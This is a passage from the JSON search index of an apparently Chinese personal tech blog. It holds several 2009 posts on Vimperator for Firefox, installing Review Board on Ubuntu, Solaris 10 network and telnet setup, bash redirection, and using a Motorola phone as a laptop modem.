p\u003e","title":"瞬时“失忆”，密码忘记"},{"content":"在\u0026rsquo;IDEAL Garden\u0026lsquo;上看到作者在文章中提到一个名为Vimperator的FireFox插件，该插件功能甚是强大，可以让你以Vim的操作方式来使用Firefox，对于我这个天天都用Vim写代码的人来说，Vimperator可谓有非凡的吸引力，它可以让你的手指留在键盘上。\n安装Vimperator这个插件仅需十几秒的时间，重启Firefox后你就可以以Vim的操作方式来尽情操作Firefox了。重启Firefox后，Vimperator会自动打开其Tutorial页面(你也可以通过在命令行输入\u0026rsquo;help tutorial\u0026rsquo;打开tutorial页面)。Tutorial页面介绍了Vimperator的大多数基本命令，熟练掌握了这些命令你就可以自由操控Firefox了。\nVimperator默认会隐藏Firefox的菜单栏和工具栏，你可以通过输入\u0026rsquo;set go+=mTB\u0026rsquo;恢复菜单栏和工具栏的显示。\nVimperator与Vim一样，提供常用的normal模式和command-line模式，通过\u0026rsquo;:\u0026lsquo;或\u0026rsquo;ESC’可以在两种模式间切换。\n打开一个新网页，可以在command-line模式下输入open(或o)，加上url来打开网页。同样你也可以输入o加上你要搜索的关键词，敲击回车后会自动打开默认的搜索引擎搜索该关键字，就和你用Google ToolBar是一样的。当然在command-line模式下输入open这种方式也支持自动补齐功能，输入若干个关键字后，敲击TAB键，会出现一个下拉列表，之后可继续用TAB键在列表中做选择。另外使用tabopen(或t)则是在新标签页中打开你要的网页。\n当你在各个Tab间切换时，命令行中显示的是该页面的url地址，如果你想复制这个地址，只需在normal mode下敲击\u0026quot;yy\u0026quot;，该地址就被写入剪贴板了。\n在Tab之间切换你大可依然使用ctrl+tab的方式，但是你同样可以在normal模式下通过gt或gT来前后切换标签页。关闭一个标签页你只需要在normal模式下敲入d即可。在当前页面中后退到历史页用ctrl+o，前进到下一页用ctrl+i。\n打开页面中的超链接，你大可以继续用mouse点击；但是vimperator也给你提供了一种方法。在normal模式下敲入:f或F，页面上的超链接将被编号，快速输入你要跳转的超链接的编号，即可打开那个超链接。如果超链接较多，你在输入f或F后输入的字符将被用来做匹配，Vimperator会根据匹配到的超链接文字做编号重分配，减少编号个数，便于你精确定位你想打开的链接。\n有了好工具，剩下的就是多多练习、熟练掌握并提升效率了。\n","permalink":"https://tonybai.com/2009/09/20/vimperator-plugin-for-firefox/","summary":"\u003cp\u003e在\u0026rsquo;\u003ca href=\"http://www.zhangkf.com/\"\u003eIDEAL Garden\u003c/a\u003e\u0026lsquo;上看到作者在文章中提到一个名为\u003ca href=\"http://vimperator.org/\"\u003eVimperator\u003c/a\u003e的FireFox插件，该插件功能甚是强大，可以让你以\u003ca href=\"http://tonybai.com/2008/12/30/in-depth-study-vim/\"\u003eVim\u003c/a\u003e的操作方式来使用Firefox，对于我这个天天都用Vim写代码的人来说，Vimperator可谓有非凡的吸引力，它可以让你的手指留在键盘上。\u003c/p\u003e\n\u003cp\u003e安装Vimperator这个插件仅需十几秒的时间，重启Firefox后你就可以以Vim的操作方式来尽情操作Firefox了。重启Firefox后，Vimperator会自动打开其Tutorial页面(你也可以通过在命令行输入\u0026rsquo;help tutorial\u0026rsquo;打开tutorial页面)。Tutorial页面介绍了Vimperator的大多数基本命令，熟练掌握了这些命令你就可以自由操控Firefox了。\u003c/p\u003e","title":"Firefox变身Vim"},{"content":"目前部门还没有采用Pair Programming那种时时刻刻都在review代码的工作方式，代码Review多采用走查方式，即代码写完后召开一个Code Review的Meeting，集中时间和经验丰富的人力对重点代码进行筛查，这种方式的代码Review有利，但也有弊。其弊端在于低效和覆盖面小。做一次走查需要N多人参与若干个小时，而在这段时间里不是每个参与者都能极其高效的参与到走查中的，实践证明只有少数几个人能真正在一次代码走查会议上起到关键的作用。另外走查一次能覆盖的代码范围又较小，一些看似不重要却很可能带来BUG的代码在走查会上很容易被遗漏。\nCode Review工具对代码走查是一种很好的补充。目前比较流行的开源Code Review工具有Review Board、CodeStriker等。对于ReviewBoard，我关注已久。在其还在rc阶段我就曾经尝试安装过，不过无论是在Windows和Unix下都以失败告终。开源工具的安装的确有些让人头痛，一堆互相依赖的软件包，版本稍有差异就很可能导致安装运行失败。而且失败的原因还很难得知。\nReview Board今年终于Release了，目前最新版是1.0.3，其官方推荐在Linux和Windows上安装。我选择了Ubuntu 9.04。Ubuntu的包管理工具apt最大的好处就是能自动帮你分析开源包的依赖关系并自动下载安装依赖包。恰巧在CSDN的一个博客上发现一篇\u0026rsquo;ReviewBoard on Ubuntu 9.04 Server\u0026lsquo;的安装步骤，我就按照文章中的步骤超级顺利的完成了Review Board的安装，这里我也将其步骤贴出来，并做一些简单注释（有些地方略有不同）：\n我是在Ubuntu 9.04 Desktop上安装的，这个版本默认自带Gcc、Python等软件包。我们只需安装其他工具：(如果你是通过公司代理上外网，别忘了在你的Shell配置文件中设置http_proxy环境变量，格式是：export http_proxy=http://user:passwd@url:port)\n1、安装easy_install\nsudo apt-get install python-setuptools python-dev;\n2、安装apache2和mod_python\nsudo apt-get install apache2 libapache2-mod-python\nsudo a2enmod python /* 修改apache2的配置，让python mod处于enable状态 */\n3、安装mysql\nsudo apt-get install mysql-server python-mysqldb libmemcache-dev\nsudo easy_install http://gijsbert.org/downloads/cmemcache/cmemcache-0.95.tar.bz2\n创建数据库、数据库用户for ReviewBoard(这块要注意数据库的字符集设置，默认是UTF-8，如果你要用其他中文字符编码标准，这里就需要显式指定，查查mysql的Manual吧)\nmysql -u root -p /* 用root用户登录 */\nmysql\u0026gt; create database reviewboard;\nQuery OK, 1 row affected (0.00 sec)\nmysql\u0026gt; create user \u0026lsquo;reviewboard\u0026rsquo;@\u0026rsquo;localhost\u0026rsquo; identified by \u0026lsquo;reviewboard\u0026rsquo;; /* 前一个reviewboard是访问数据库的用户名，后一个reviewboard是密码 */\nQuery OK, 0 rows affected (0.00 sec)\nmysql\u0026gt; grant all on reviewboard.* to \u0026lsquo;reviewboard\u0026rsquo;@\u0026rsquo;localhost\u0026rsquo;; /* 前一个reviewboard是数据库的名字，而后一个reviewboard则是访问数据库的用户名 */\nQuery OK, 0 rows affected (0.00 sec)\nmysql\u0026gt; exit\n4、安装subversion （目前大多数公司都用subversion）\nsudo apt-get install patch subversion python-svn\n5、安装reviewboard\nsudo easy_install reviewboard\n6、创建你的reviewboard站点\nsudo rb-site install /var/www/reviewboard /* 之后会有一系列类似安装向导的步骤，需要你做出选择，尽量选择默认值吧 */\n· Domain = localhost\n· Root Path = /\n· Media URL = media/\n· Database Type = mysql\n· Database Name = reviewboard\n· Database server = localhost\n· Database username = \u0026lsquo;reviewboard\u0026rsquo;\n· Database password = \u0026lsquo;reviewboard\u0026rsquo;\n· Cache Type = memcache\n· Memcache Server = memcached://localhost:11211/\n· Webserver = apache\n· Python loader = modpython\n7、配置站点，启动Apache2\nsudo chown -R www-data /var/www/reviewboard/htdocs/media/uploaded /* 让webserver拥有对uploaded目录的修改权限 */\nsudo cp /var/www/reviewboard/conf/apache-modpython.conf /etc/apache2/sites-available/reviewboard\nsudo a2dissite default\nsudo a2ensite reviewboard\nsudo /etc/init.d/apache2 restart\n在你的浏览器里敲入：http://localhost:80，ReviewBoard的登录界面就会出现在你的面前。\n顺利安装完ReviewBoard后，你可以到官网去看Manual，学习如何使用ReviewBoard。简单说ReviewBoard支持两种Review Code的模式，一种是在code没有commit之前提交diff/patch文件进行review，叫做pre-commit review，另外一种则是在code commit之后，由工具自动根据提交的版本号生成diff/patch文件，并形成一条新的Review Request，这种模式也叫post-commit review。\n先说pre-commit review模式。生成pre-commit review request有两种方法，第一种就是通过页面手工提交patch/diff文件的方法：首先通过界面设置好你的svn repository，比如：svn://10.1.1.23:3344；然后在你的DashBoard中“New Review Request\u0026quot;，有三个字段需要你填写：\nRepository: /* 选择你刚才配置的repository的id */ Base Diff Path: /* 如果你checkout出来的proj的svn url是svn://10.1.1.23:3344/trunk/testproj，那么这个字段填的就是/trunk/testproj */\nDiff: /* 你生成的diff文件的路径，在Windows上我用TortoiseSVN的creatpatch工具直接生成某个源文件的diff格式文件 */\n填好后，提交，这时你就会看到一个处于draft状态的Request，继续编辑它，指定Reviewer，然后Publish这个Request，这样你指定的Reviewer就能看到这个Request了。这块如果你设置了Email通知，Publish过程会有一定延迟，特别是如果你的Email设置出错了，那Publish将一直处于ing状态，你刷新一下页面后，实际上你的Request已经publish结束了。\n另外一种提交pre-commit review request的方法是通过一个名为\u0026rsquo;Post-Review\u0026rsquo;的python脚本实现的。这个脚本在RBTools工具包中，在使用之前先执行：\u0026lsquo;sudo easy_install -U RBTools\u0026rsquo;安装这一脚本。\nPost-Review需要知道两类信息，一个是ReviewBoard Server的信息, 一个是你的svn repository的信息，第一种信息我们可以通过编辑~/.reviewboardrc，添加一行REVIEWBOARD_URL=\u0026quot;http://localhost:80\u0026quot;。至于svn repository的信息，post-review脚本可自动从你本地checkout出的代码working copy中携带的repository信息中获得，前提你要进入到该working copy所在的目录下去执行post-review。比如：你将svn://10.1.1.23:3344/trunk/testproj checkout到~/proj/testproj下面，那么你就应该先cd ~/proj/testproj后再执行post-review，post-review工具在默认情况下会将当前本地代码uncommitted的changes形成一个review request并提交到reviewboard server。你也可以在post-review后面加上文件名字来指定将特定的文件的changes而不是当前项目目录下所有的uncommitted changes。\n下面是我配置和执行Post-review出现的一些问题和解决方法:\n首次在testproj下执行\u0026rsquo;sudo post-review\u0026rsquo;，出现如下打印日志：\nTraceback (most recent call last):\nFile \u0026ldquo;/usr/local/bin/post-review\u0026rdquo;, line 5, in\npkg_resources.run_script(\u0026lsquo;RBTools==0.2beta1\u0026rsquo;, \u0026lsquo;post-review\u0026rsquo;)\nFile \u0026ldquo;/usr/lib/python2.6/dist-packages/pkg_resources.py\u0026rdquo;, line 448, in run_script\nself.require(requires)[0].run_script(script_name, ns)\nFile \u0026ldquo;/usr/lib/python2.6/dist-packages/pkg_resources.py\u0026rdquo;, line 1166, in run_script\nexecfile(script_filename, namespace, namespace)\nFile \u0026ldquo;/usr/local/lib/python2.6/dist-packages/RBTools-0.2beta1-py2.6.egg/EGG-INFO/scripts/post-review\u0026rdquo;, line 2314, in\nmain(sys.argv[1:])\nFile \u0026ldquo;/usr/local/lib/python2.6/dist-packages/RBTools-0.2beta1-py2.6.egg/EGG-INFO/scripts/post-review\u0026rdquo;, line 2292, in main\nserver.login()\nFile \u0026ldquo;/usr/local/lib/python2.6/dist-packages/RBTools-0.2beta1-py2.6.egg/EGG-INFO/scripts/post-review\u0026rdquo;, line 308, in login\n\u0026lsquo;password\u0026rsquo;: password,\nFile \u0026ldquo;/usr/local/lib/python2.6/dist-packages/RBTools-0.2beta1-py2.6.egg/EGG-INFO/scripts/post-review\u0026rdquo;, line 570, in api_post\nreturn self.process_json(self.http_post(path, fields, files))\nFile \u0026ldquo;/usr/local/lib/python2.6/dist-packages/RBTools-0.2beta1-py2.6.egg/EGG-INFO/scripts/post-review\u0026rdquo;, line 481, in process_json\nrsp = simplejson.loads(data)\nFile \u0026ldquo;/usr/local/lib/python2.6/dist-packages/simplejson-2.0.9-py2.6-linux-i686.egg/simplejson/__init__.py\u0026rdquo;, line 307, in loads\nreturn _default_decoder.decode(s)\nFile \u0026ldquo;/usr/local/lib/python2.6/dist-packages/simplejson-2.0.9-py2.6-linux-i686.egg/simplejson/decoder.py\u0026rdquo;, line 335, in decode\nobj, end = self.raw_decode(s, idx=_w(s, 0).end())\nFile \u0026ldquo;/usr/local/lib/python2.6/dist-packages/simplejson-2.0.9-py2.6-linux-i686.egg/simplejson/decoder.py\u0026rdquo;, line 353, in raw_decode\nraise ValueError(\u0026ldquo;No JSON object could be decoded\u0026rdquo;)\nValueError: No JSON object could be decoded\n这种错误信息弄得我一头雾水，在Google上找了半天，也没有什么好的办法。在ReviewBoard的issue archive里有人遇到了和我一样的问题，而ReviewBoard的维护人员建议：修改/usr/local/lib/python2.6/dist-packages/RBTools-0.2beta1-py2.6.egg/EGG-INFO/scripts/post-review中的代码(在/usr/local/lib/python2.6/dist-packages下你可能会发现RBTools-0.2beta1-py2.6.egg是个文件而不是目录，不要紧，.egg文件就是一个zip文件，可将其用unzip命令解压后再放到一个名为RBTools-0.2beta1-py2.6.egg的目录中即可，解压后原始RBTools-0.2beta1-py2.6.egg做好更名和备份)，在process_json method开始处加上一行代码：debug(data)。然后在执行post-review时加上–debug选项，观察http post的response数据。\n按照网上的建议做了修改：执行sudo post-review –debug，果然有效果，能看到http post后返回的应答内容，居然是公司代理服务器websense的拦截应答。\n哇，原来如此，我的.bashrc配置了http_proxy，似乎post-review是向代理发出的http post请求，结果被代理拦截掉了。注释掉.bashrc中的http_proxy变量后，再重复执行post-review命令，这下一切ok了，一个New Review Request成功生成。\n第二种模式post-committed review同样是通过post-review工具完成的。命令格式：post-review –revision-range=STARTREV[:STOPREV]。脚本会自动diff两个revision之间的差别并形成review request提交到reviewboard server的。\n关于post-review的更多用法，这里不细说了，可阅读官方的Manual。Review Board功能还是很强大的，Review时你可以针对每行代码写Comments，这种Review Code的方式给你足够时间去思考，只要你认真对待，就不会出现盲区、死角，所以新提交的代码就都能被Review到。\n","permalink":"https://tonybai.com/2009/09/19/review-board-installation-and-configuration/","summary":"\u003cp\u003e目前部门还没有采用\u003ca href=\"http://tonybai.com/2008/09/02/unexpected-pair-programming/\"\u003ePair Programming\u003c/a\u003e那种时时刻刻都在\u003ca href=\"http://tonybai.com/2006/05/31/code-review-is-necessary/\"\u003ereview代码\u003c/a\u003e的工作方式，代码Review多采用走查方式，即代码写完后召开一个Code Review的Meeting，集中时间和经验丰富的人力对重点代码进行筛查，这种方式的代码Review有利，但也有弊。其弊端在于低效和覆盖面小。做一次走查需要N多人参与若干个小时，而在这段时间里不是每个参与者都能极其高效的参与到走查中的，实践证明只有少数几个人能真正在一次代码走查会议上起到关键的作用。另外走查一次能覆盖的代码范围又较小，一些看似不重要却很可能带来BUG的代码在走查会上很容易被遗漏。\u003c/p\u003e","title":"Review Board安装和配置札记"},{"content":"六十年之国庆日即将到来，对我们来说也算是个“利好消息”，因为这段时间里来自客户方面压力会减小不少，我们可以更多的做回自己-静下来做一些想做的、该做的事情。\n上周末重温了一遍李开复的《做最好的自己》，三年前从书市买下了这本书，但仅仅翻了前三章后就将之束之高阁了。三年后的今天再次完整的阅读这本书，也许是工作的年头多了，关于理想、学习和沟通等方面的共鸣和感悟也就多了些。最欣赏书中引用《读者》中的那一段话：“你不能决定生命的长度，但你可以扩展它的宽度；你不能改变天生的容貌，但你可以时时展现笑容；你不能企望控制他人，但你可以好好掌握自己；你不能全然预知明天，但你可以充分利用今天；你不能要求事事顺利，但你可以做到事事尽心”。\n《Borland传奇》是我在上周末快速翻阅的另一本书，对于我这个对Borland公司没有太多感情的程序员（早期用过Turbo C，后迅速被Visual C++所替代）来说，这本书谈不上有多精彩，书中对传奇人物的塑造仅限于罗列成果，缺少于一些细腻的人物和场景刻画，让人读后印象不是很深刻，当然这和本书的立意是有很大关系的，作者出身技术，主要是想让大家了解Borland当初的那段历史，以史为镜。\n本周工作的一个重要部分就是产品的性能优化，第一步“锁”使用优化。历史上因为总总原因，产品中关于\u0026rsquo;锁\u0026rsquo;的种类和使用方式都存在不合理之处，有不合理的地方就有优化的余地。重新封装了Native RW lock，花了一天时间做锁性能对比测试：RW lock vs. mutex lock！测了大半天没有出现我预计的结果。下班回到家中继续测试，居然发现测试代码中一处参数传入错误，导致进程间根本就没有共享mutex，而是创建了private mutex，怪不得mutex锁运行的如此之快。修改参数后，结果果然如预期，RW lock性能更有，在多进程下并行性更好，这也符合常理。\n公司已经开始强制要求使用Open Office了，MS Office在不久的将来就将从我们的办公环境中彻底消失。由此推测，Windows被禁也将不远矣，为什么不提前做改变呢？加之很多产品在做Linux迁移，Linux可谓大势所趋。Linux对我来说并不陌生，但是也谈不上很熟悉。以前倒是多次接触过Ubuntu这个热门的Linux发行版，但是都因各种原因没能在工作中真正的使用起来。这次花费大力气借调来一台高性能（起码性能要比我的本本好很多）的PC Desktop，委托同事（其家里宽带的带宽是4M）下载并刻了Ubuntu 9.04的安装盘。Ubuntu的安装做的真是愈来愈好了，仅仅用了不到一个小时，分区、格式化、安装和网络配置就全部OK了。按照Ubuntu 9.04官方推荐更新了源(sources.list)，安装了telnet服务(习惯了telnet，你大可以选择更加安全的ssh)，方便远程访问；原本想在我的本本上安装TightVNC Viewer，使用远程桌面管理Ubuntu，后来还是觉得不爽，干脆将台式机搬到跟前来操纵^_^。由于Linux默认支持的字符集是UTF-8，所以通过telnet远程访问Ubuntu时要将你的terminal的字符集设置为UTF-8，这样中文才能正确显示出来。\n安装语言包的时候倒是遇到了一些麻烦，点击系统-\u0026gt;管理-\u0026gt;语言支持，更新中文包，但是下载了半天也没有反应，尝试了多次都没能成功，没有中文语言包，桌面无法中文化，最大的不妥之处在无法输入中文。后来只能尝试在命令行下利用apt来install语言包，在网上得到中文语言包对应的名称，执行下面命令完成安装：\nsudo apt-get install language-pack-zh\nsudo apt-get install language-pack-gnome-zh\nsudo apt-get install language-support-input-zh language-support-fonts-zh\nsudo apt-get install language-support-translations-zh language-support-extra-zh\n重启后，中文界面出现，中文输入也再正常不过了。\nUbuntu的提示/错误蜂鸣音无法通过系统音频属性关闭，在网上找了找资料，发现了解决方法：\n在desktop下的terminal下将下面语句添加到.bashrc中，并source .bashrc生效，之后蜂鸣音消失。\nsetterm -blength 0\nxset -b\n用性能高的台式机跑Ubuntu很流畅，再也没有以前用笔记本跑Ubuntu时firefox速度奇慢且总阻塞的情况了。初步计划用一个月时间来适应用Ubuntu作为首选工作平台。\n十一没有出游计划，八天的长假打算以书为伴，这样在十一前就要“广积书”，现在到手的包括：“ShowStopper”(观止-微软创建NT和未来的夺命狂奔)、“杜拉拉升职记”两册。\n今天晚上的手机报上有一道测试题，这里贴出来，你不妨测测：\n每个人写日记时都有个人的习惯，而从各自的记日记习惯则可以得知自己的个性特点，你的选择是：( )\nA、喜欢在日记上叙事、记事\nB、喜欢在日记中议论他人\nC、把日记当作发泄对象\nD、爱在日记中对人事抒发感慨\n答案：\nA、一般说来，喜欢在日记上叙事、记事的人，注重交际，善于思考，办事有主见，常自我独醉，对未来持乐观态度，自信心强。\nB、多在日记中议论他人的人，自尊心强，思想保守而尊重传统，处事谨慎，个性冷静，不大合群，不喜欢在人前流露自己的感情；但却非常尊重别人对自己的感情。\nC、把日记当作发泄对象，把自己的不快或烦恼经常长篇地倒在日记中的人，性格内向，感情丰富，富于幻想，爱交朋友；却不太信任别人，且疑心较重，常自寻烦恼。\nD、爱在日记中对人事抒发感慨的人，喜欢追求时髦，赶潮流，热情开朗，平易近人，能够适应各种环境，办事俐落，生活井井有条，富有幽默感，交际能力强；但却容易轻信他人，且不拘小节。\n","permalink":"https://tonybai.com/2009/09/18/this-week-is-fully/","summary":"\u003cp\u003e六十年之国庆日即将到来，对我们来说也算是个“利好消息”，因为这段时间里来自客户方面压力会减小不少，我们可以更多的做回自己-静下来做一些想做的、该做的事情。\u003c/p\u003e","title":"充实的一周"},{"content":"部门服务器资源向来都比较紧张，每当忙碌季节到来，服务器资源消耗都较大，开发人员总是抱怨编辑代码慢、Build慢以及磁盘空间不足等问题，严重时甚至无法工作。部门也一直在尝试改善这个问题，无非加服务器、加磁盘等，但是这些措施似乎都难以满足开发和测试人员日益增长的对服务器资源的索求。\n为了尽量在组内杜绝上述现象的发生，决定搭建多台PC Server给组内开发人员使用，让大家工作的更有效率，更独立自由，不受共享服务器的约束。因负责部门内部服务器的系统工程师出差在外，无奈委托一个热心同事尝试去安装一下Solaris 10 for x86版本。这位热心同事很积极也很快的将Solaris 10安到了那台空闲PC Server上。但是上午我发现系统的网络仍然未配置，决定亲自手工给这个Server配置网络参数。\n对于Solaris系统的配置和管理，我就是一菜鸟级选手，一切都要从头来-到网络上查找资料。找了半天仍是一头雾水。又想到利用Solaris 10提供图形化界面去配置，但是居然没有找到对应的工具或程序的位置。只能向家中另外一位系统工程师同事求助。这位同事也是热心肠，还亲自过来为我配置网络。在他配置的过程中，我也学到了网络配置的一些皮毛。\n首先查看网口是否激活，如果没有，则找到网口设备名称，并激活网口服务：\n在这台Server上，执行ifconfig -a发现，只有lo0这一个本机LOOPBACK虚拟网口，显然该主机物理网口没有被激活。\n寻找这个网口设备名称：\ncd /dev\nls -l|more\n一般网口设备名称都类似：bge0，hme0等。发现我的这台主机网口为bge0。\n激活该网口设备：\nifconfig bge0 plumb up\n这回你再执行ifconfig -a，你将会看到bge0网口，但是该网口尚未分配IP地址和掩码。\n如果你要临时设置该网口IP和掩码的话，可直接使用ifconfig命令（ifconfig bge0 HOST_IP netmask 255.255.255.XXX）进行，但是这样的设置在主机重启后将无法保留下来。那我们就说说永久保留设置的方法。\n设置静态IP:\nvi /etc/hosts，在结尾添加一行：HOST_IP 主机名 loghost\nvi /etc/hostname.bge0，该文件可能需要你手工创建，只有一行：主机名\n设置子网掩码：\nvi /etc/netmasks，增加一行格式诸如：\u0026ldquo;network-number netmask\u0026rdquo;。如果主机IP为10.10.12.77，掩码为255.255.255.0，则你可添加\u0026quot;10.10.12.0 255.255.255.0\u0026quot;。\n设置网关/默认路由\nvi /etc/defaultrouter，直接将你的网关的IP写入即可。\n重启系统后，网络算是通了。无论是从本主机访问其他主机，还是从其他主机访问这个主机都没有问题了。但是还有一个问题：打开Firefox无法打开网页？应该是DNS没有配置，配置方法如下：\nvi /etc/nsswitch.conf，在hosts: files后面加上一个\u0026quot;dns\u0026quot;，即该行变成：\u0026ldquo;hosts: files dns\u0026rdquo;，保存退出。\nvi /etc/resolv.conf，每一行是一个DNS服务器，格式如：nameserver xxx.xxx.xxx.xx\n配置完，firefox顺利打开了外部网页。\n配置完网络本以为该主机可以投入正式使用了，但无意间却发现\u0026rsquo;/\u0026lsquo;分区下空闲空间仅剩下20%多了，70%的空间已经被使用，再细致一看，发现\u0026rsquo;/\u0026lsquo;分区分配的空间太小了，不仅如此swap交换分区仅仅分配了500M的空间。经沟通得知，首次安装采用的是默认安装，才有了此结果。由于无法动态扩展\u0026rsquo;/\u0026lsquo;和swap分区大小，无奈只能重装，否则日后问题更多。\nSolaris10的图形化安装果真比不了Ubuntu，更无法与Windows相比了，不过我还能应付，这次我选择了自定义安装，并在安装阶段就将网络配置好了。一个小时左右，安装过程结束，进入桌面，需重新按上面步骤配置DNS，其他就无需配置了。\n从其他机器Telnet访问该主机，居然提示：\u0026ldquo;telnet: Unable to connect to remote host: Connection refused\u0026rdquo;，是我的网络配置错了？ping和traceroute都正常，而且从这台主机Telnet访问其他主机都没有问题，估计是Telnet服务没有启动，通过“netstat -an|grep LISTEN”并未看到在监听23端口，但是如何启动Telnet服务到不是很清楚，在询问了系统工程师后，执行了一下：svcadm enable telnet，Telnet服务瞬间启动了。同理，Ftp服务也是如此。svcadm应该是Solaris 10新增的系统管理工具，低版本的OS可能都不具备这个命令。\n再次从别的机器telnet这台服务器，并用root用户登录，提示：\u0026ldquo;Not on system console, Connection to xxx.xxx.xxx.xxx closed by foreign host\u0026rdquo;，这又是怎么回事？从系统工程师那得到的答案是：默认不允许root用户远程登录。可打开/etc/default/login这个文件，并将“CONSOLE=/dev/console”这行注释掉就可以了。\n下班前终于将该主机安装配置完毕，可正式投入使用了。但是在下班路上与另一位同事探讨这个安装配置问题时，他提示我还有一处遗漏：那就是/var没有单独分区，而是与\u0026rsquo;/\u0026lsquo;分区共享，这样给以后的使用带来了一些隐患，在测试和运行一些大程序时/var很容易被占满，导致程序无法正常运行。在不再重装系统的前提下，只能考虑定期清理/var下的文件了。\n","permalink":"https://tonybai.com/2009/09/10/something-about-installing-solaris-10/","summary":"\u003cp\u003e部门服务器资源向来都比较紧张，每当忙碌季节到来，服务器资源消耗都较大，开发人员总是抱怨编辑代码慢、Build慢以及磁盘空间不足等问题，严重时甚至无法工作。部门也一直在尝试改善这个问题，无非加服务器、加磁盘等，但是这些措施似乎都难以满足开发和测试人员日益增长的对服务器资源的索求。\u003c/p\u003e","title":"Solaris 10安装二三事"},{"content":"在Unix平台工作的人都使用过Shell的重定向功能，多数人接触较多的是简单的重定向，比如：\ncmd \u0026gt; some_file 将cmd命令的标准输出重定向到some_file中\ncmd \u0026lt; some_file 将some_file的内容作为cmd命令执行的标准输入，或者简单的说cmd命令从some_file读取输入\n等等诸如此类的简单重定向还比较好理解的，起码从大于号或者小于号的箭头方向也可以感性的理解出来。但是类似Bash Shell中还有一些带有复杂符号的重定向功能，看起来就不那么直观了。\n强记是不好的学习方式，加上个人理解的记忆才更牢固，使用起来才更为熟练。昨天晚上为了琢磨一个shell重定向命令，翻看相关bash shell重定向的资料，突然脑子里蹦出一个很容易理解的记忆shell文件描述符重定向的方法。\n以“make 2\u0026gt;\u0026amp;1 1\u0026gt;build.log”为例，看起来挺头疼，符号增多了，加了一个\u0026rsquo;\u0026amp;\u0026lsquo;这个符号，有些晕。不能看表面，我们要看原理：打开“Unix环境高级编程(APUE)”中关于文件内核数据结构的说明，回顾一下，再对应上面的重定向命令。文件描述符重定向是什么？按照书中描述重定向就是进程文件描述符表项改变所指向的文件表项的操作。当make启动后，进程内部文件描述符表中元素1-\u0026gt; 文件表项1， 元素2-\u0026gt;文件表项2，元素3 -\u0026gt; 文件表项3，三个文件表项又分别对应v节点表中的不同v节点。但是做了重定向后，\u0026ldquo;2\u0026gt;\u0026amp;1\u0026quot;将进程内部文件描述符表中的元素2指向文件表项1，与元素1指向相同，这时该进程文件描述符表中有两个文件描述符指向文件表项1了； \u0026ldquo;1\u0026gt;build.log\u0026quot;将进程内部文件描述符表中的元素1指向build.log对应的文件表项3。这样make执行过程中的标准输出会写入build.log中，而标准错误则会输出到屏幕上。\n好了回顾完原理，再看看“make 2\u0026gt;\u0026amp;1 1\u0026gt;build.log”这个命令，\u0026rsquo;\u0026amp;\u0026lsquo;在C语言里是取地址的操作符，对应上面原理的描述，把\u0026amp;1看作是取1对应的文件表项；2\u0026gt;\u0026amp;1 则理解为将进程文件描述符表中元素2指向到元素1所对应文件表项上去。1\u0026gt;build.log理解为：将进程文件描述符表中元素1指向到元素3（build.log对应的文件描述符）所对应文件表项上去。这样理解起来就轻松多了。\u0026rsquo;\u0026lt;\u0026lsquo;也类似，cmd \u0026lt; som_file等价于cmd 0\u0026lt;some_file。\nShell平时用的不多，研究的也不多，所以用了这么多年才有这样粗浅的理解（这个理解也不一定通用，bash的重定向符号有太多，含义也有不一致），呵呵。\n","permalink":"https://tonybai.com/2009/09/08/the-alternative-understanding-on-file-descriptor-redirection/","summary":"\u003cp\u003e在Unix平台工作的人都使用过\u003ca href=\"http://tonybai.com/2006/05/02/an-introduction-on-unix-shell-scripting/\"\u003eShell\u003c/a\u003e的重定向功能，多数人接触较多的是简单的重定向，比如：\u003cbr\u003e\ncmd \u0026gt; some_file 将cmd命令的标准输出重定向到some_file中\u003cbr\u003e\ncmd \u0026lt; some_file 将some_file的内容作为cmd命令执行的标准输入，或者简单的说cmd命令从some_file读取输入\u003c/p\u003e","title":"Bash文件描述符重定向符号的另类理解"},{"content":"前不久和一位售前同事到北京出差，途中在动车上看到他把本子连到Nokia手机上并通过手机上网。现如今通过手机上网也不是什么新鲜事，关键看是否需要。平时上班有公司网络，下班家里有宽带，路途中可通过手机直接浏览WAP站点，所以对于我这样的开发人员而言倒是没有特别充分的让本子通过做MODEM的手机上网的需求。\n公司信息安全改造屏蔽了外部的许多站点，其中包括BLOGBUS，而且目前BUS不支持WAP浏览。这让我在白天闲暇时维护自己的博客成为了一件困难事，就这样我也有了通过手机MODEM实现电脑无线上网的需求。当然出差途中也可以通过这种方式处理一些紧急事件。\n我的手机现在看来可能已经有些过时了 — 2006年入手的摩托罗拉A780。平时手机最常用的功能就是电话和WAP上网浏览，自从购进后也没有深入探究其各种功能和配置，甚至还未尝试将数据下载到电脑中进行备份，所以如何将A780设置为MODEM并实现本子上网我就更无从知晓了。\n不过还好有伟大的Google，搜索了一下，翻阅了多篇网友们的心得体会，感觉都甚是复杂。我先不管那么多了，先让本子认识一下A780这个无线MODEM吧 — 安装一个Motorola USB Driver，一切顺利，可以在“控制面板-\u0026gt;“电话和调制解调器”看到我的A780已经成为了一只“MODEM\u0026quot;了。但是接下来按照网上提示的方法去设置和拨号却无论如何也无法连通，尝试了几次后，放弃。\n在各种关于A780的资料中，大家都提到了一个摩托手机必备之工具-\u0026ldquo;motorola phone tools, 简称mpt\u0026rdquo;，该工具能实现手机与电脑的数据同步，甚至可以通过本子编辑短信并发送，这次我也下载一个吧（太落伍了，居然买机若干年后才安装如此\u0026quot;知名\u0026quot;的工具！）。\nMPT的包挺大，70多M。而且包内也带有“Motorola USB Driver”。执行之。在左侧的功能列表栏中，功能还是蛮齐全的。试了试联系人、SMS等功能都还好用，就是速度有些慢，也许我的联系人有些多，从手机读取到电脑上竟用了很长时间。\n这些功能虽好，但不是我这次想要的。看看是否有我想要的连接Internet的功能呢？在“通讯”-\u0026gt;\u0026ldquo;Internet\u0026quot;中果然看到了希望。点击后，一个生动的界面出现在眼前。点击“管理连接”，弹出窗口让你选择是通过CMWAP还是直连Internet，我首先选了CMWAP，之后点击“连接”，十几秒后提示连接成功。在界面的流量数据中已经有上下行流量变化了。打开IE尝试访问了一下新浪的WAP站点，没有结果，有些失望。断开连接后，再次配置链接属性，这次选择直连Internet，重复以上步骤。在浏览器里输入google的url，若干秒后google的首页就呈现在面前了，上网设置成功。此时我的第一感受就是：这也没有网上很多资料里说的那么复杂啊。不过你要小心了，如果你没有开通移动运营商的无线上网包月套餐业务的话，上网的费用还是相当贵的，所以还是要谨慎点击“连接”。\n回想一下，CMWAP之所以不好用，也许跟我的浏览器中公司代理的设置有关，不管了，反正也不用。\n","permalink":"https://tonybai.com/2009/08/30/make-pc-surfing-the-internet-through-mobile-phone/","summary":"\u003cp\u003e前不久和一位售前同事